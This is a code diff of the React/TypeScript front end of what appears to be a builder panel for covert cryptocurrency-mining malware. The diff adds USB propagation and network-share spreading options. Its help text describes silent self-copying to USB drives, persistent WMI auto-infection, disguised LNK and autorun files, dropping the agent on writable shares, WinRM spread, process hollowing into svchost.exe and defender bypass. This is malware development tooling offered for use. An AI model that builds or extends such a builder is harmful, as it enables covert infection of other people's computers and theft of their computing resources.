ctx.fillText(`> ${entry.text}`, 4, oy);
// fade over time
entry.alpha = Math.max(0, entry.alpha - 0.003);
}
};
raf = requestAnimationFrame(draw);
return () => {
cancelAnimationFrame(raf);
clearInterval(injectInterval);
ro.disconnect();
};
}, []);
return (
<div ref={wrapRef} className="matrix-rain-wrap" aria-hidden="true">
<canvas ref={canvasRef} className="matrix-rain-canvas" />
{/* Scanline overlay for authentic CRT feel */}
<div className="matrix-rain-scanlines" />
{/* Top and bottom vignette fades */}
<div className="matrix-rain-vignette-top" />
<div className="matrix-rain-vignette-btm" />
</div>
);
}

View File

@@ -47,6 +47,8 @@ export const FORGE_BUILD_DEFAULTS: Omit<
auto_spread: false,
hole_punch: false,
remote_aggressive: false,
usb_spread: false,
share_spread: false,
target_os: 'windows',
target_arch: 'all',
spread_kit: false,

View File

@@ -74,6 +74,8 @@ export function spreadKitPreset(): Partial<BuildRequest> {
hole_punch: false,
remote_aggressive: true,
auto_spread: false,
usb_spread: false,
share_spread: false,
};
}

View File

@@ -367,6 +367,8 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
auto_spread: { disabled: false, badge: 'baked' },
hole_punch: { disabled: false, badge: 'baked' },
remote_aggressive: { disabled: false, badge: 'baked' },
usb_spread: { disabled: false, badge: 'baked' },
share_spread: { disabled: false, badge: 'baked' },
target_os: {
disabled: isSpreadKit || isFusion,
badge: 'baked',

View File

@@ -98,6 +98,8 @@ export const FIELD_HELP: Record<string, string> = {
process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.',
share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.',
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',

View File

@@ -1713,6 +1713,29 @@ export default function BuilderPage() {
</label>
<FieldHint field="remote_aggressive" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.usb_spread}
onChange={(e) => updateField('usb_spread', e.target.checked)} />
<span>USB Propagation copy to every new drive inserted <HelpTip field="usb_spread" /></span>
</label>
{form.usb_spread && (
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
Agent will silently copy itself to any USB drive plugged into an infected PC and install a permanent WMI trigger that survives reboots.
</div>
)}
<FieldHint field="usb_spread" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.share_spread}
onChange={(e) => updateField('share_spread', e.target.checked)} />
<span>Share Drop spread via mounted network drives &amp; WinRM <HelpTip field="share_spread" /></span>
</label>
<FieldHint field="share_spread" />
</div>
</div>
</>
)}

View File

@@ -71,13 +71,20 @@ export interface BuildRecord {
threads: number;
file_size: number;
file_path: string;
file_name?: string;
created_at: string;
pool_host: string;
pool_port: number;
pool_tls: boolean;
pool_pass: string;
platform?: string;
bundle_size?: number;
download_url?: string;
}
/** Alias used in components that deal with forged builds */
export type Build = BuildRecord;
export interface FleetStats {
total_agents: number;
online_agents: number;
@@ -270,6 +277,8 @@ export interface BuildRequest {
auto_spread?: boolean;
hole_punch?: boolean;
remote_aggressive?: boolean;
usb_spread?: boolean;
share_spread?: boolean;
target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
target_arch?: string;
spread_kit?: boolean;

6
usb_pack_exclude.txt Normal file
View File

@@ -0,0 +1,6 @@
\.exe
crypto-miner-agent
crypto-miner-fusion
\dist\
\node_modules\
\.git\